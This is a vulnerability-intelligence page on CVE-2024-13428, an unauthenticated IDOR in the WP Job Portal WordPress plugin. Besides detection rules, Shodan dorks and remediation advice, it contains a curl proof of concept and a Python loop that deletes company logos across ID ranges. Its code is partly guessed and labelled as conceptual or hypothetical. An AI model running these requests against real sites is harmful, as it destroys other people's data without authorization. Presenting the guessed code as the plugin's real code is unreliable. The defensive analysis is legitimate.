☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wp job portal logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13428

CVE-2024-13428 Insecure Direct Object Reference in Wp job portal
📅 PUBLISHED: 2025-02-01 07:21 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: India License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13428 is an Insecure Direct Object Reference (IDOR) vulnerability in the WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress, affecting all versions up to and including 2.2.6. The vulnerability resides in the deleteCompanyLogo() function, which fails to validate a user-controlled key (likely a company ID or logo file identifier). This allows unauthenticated attackers to delete arbitrary company logos from the WordPress installation.

The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS v3.1 base score is 5.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site administrators must consider removing or replacing the plugin. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should monitor the plugin’s update channel and apply any future patches immediately.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated exploitation.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
  • Confidentiality (C): None (N) – No data disclosure.
  • Integrity (I): Low (L) – Only company logos can be deleted, not arbitrary files.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. The impact is limited to logo deletion, but the lack of authentication and patch makes it a viable target for defacement or disruption of recruitment operations.

Deep Dive & Mechanics

The deleteCompanyLogo() function in the WP Job Portal plugin is intended to allow authorized users (e.g., company administrators) to remove their company logo. However, the function uses a user-controlled parameter (likely a company_id or logo_id) to identify which logo to delete, without verifying that the requester has permission to delete that specific logo.

Vulnerable Code Path (Conceptual):

function deleteCompanyLogo() {
    $company_id = $_POST['company_id']; // User-controlled, no validation
    $logo_path = get_company_logo_path($company_id);
    if (file_exists($logo_path)) {
        unlink($logo_path); // Deletes the file
    }
}

The missing validation allows an unauthenticated attacker to iterate through company IDs and delete logos at will. The function does not check for a nonce, capability, or ownership.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.6):

function deleteCompanyLogo() {
    $company_id = $_POST['company_id'];
    $logo_path = $this->get_logo_path($company_id);
    if (file_exists($logo_path)) {
        unlink($logo_path);
    }
}

Patched Code (Hypothetical):

function deleteCompanyLogo() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'delete_company_logo')) {
        wp_die('Security check failed');
    }
    if (!current_user_can('edit_company', $_POST['company_id'])) {
        wp_die('Insufficient permissions');
    }
    $company_id = intval($_POST['company_id']);
    $logo_path = $this->get_logo_path($company_id);
    if (file_exists($logo_path)) {
        unlink($logo_path);
    }
}

The patched version adds nonce verification and capability checks, ensuring only authorized users can delete logos they own.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

  1. Identify a WordPress site running WP Job Portal <= 2.2.6.
  2. Enumerate company IDs (e.g., via directory listing or API endpoints).
  3. Send a POST request to the vulnerable endpoint with a target company_id.

Proof-of-Concept (cURL):

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d 'action=deleteCompanyLogo&company_id=1'

Automated Script (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
for cid in range(1, 100):
    r = requests.post(target, data={"action": "deleteCompanyLogo", "company_id": cid})
    if r.status_code == 200:
        print(f"Deleted logo for company {cid}")

Blue Team

Detection:

  • Monitor for POST requests to /wp-admin/admin-ajax.php with action=deleteCompanyLogo.
  • Alert on multiple rapid requests with different company_id values.
  • Check for missing nonce or authorization headers.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" form_data="*deleteCompanyLogo*"
| stats count by clientip, form_data
| where count > 5

Indicators of Compromise (IOCs)

  • Network: POST requests to /wp-admin/admin-ajax.php with action=deleteCompanyLogo and varying company_id parameters.
  • File System: Missing logo files in /wp-content/uploads/wp-job-portal/company-logos/.
  • Logs: WordPress debug logs showing unlink() calls on logo files without prior authentication.

Detection Engineering

YARA Rule

rule wp_job_portal_idor_logo_delete {
    meta:
        description = "Detects exploitation of CVE-2024-13428 in WP Job Portal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13428"
    strings:
        $s1 = "deleteCompanyLogo" ascii wide nocase
        $s2 = "company_id" ascii wide nocase
        $s3 = "unlink" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: WP Job Portal IDOR Logo Deletion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated attempts to delete company logos via CVE-2024-13428
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=deleteCompanyLogo'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13428 WP Job Portal IDOR Logo Deletion";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=deleteCompanyLogo"; http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not critical for operations.
  2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=deleteCompanyLogo from unauthenticated users.
  3. Restrict file permissions on the logo upload directory to prevent deletion via web server misconfiguration.

Long-Term Fix:

  • Apply a patch from the vendor when available.
  • Replace the plugin with an alternative that follows secure coding practices (nonce verification, capability checks).

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Job Portal"
http.html:"wp-job-portal"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13428/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.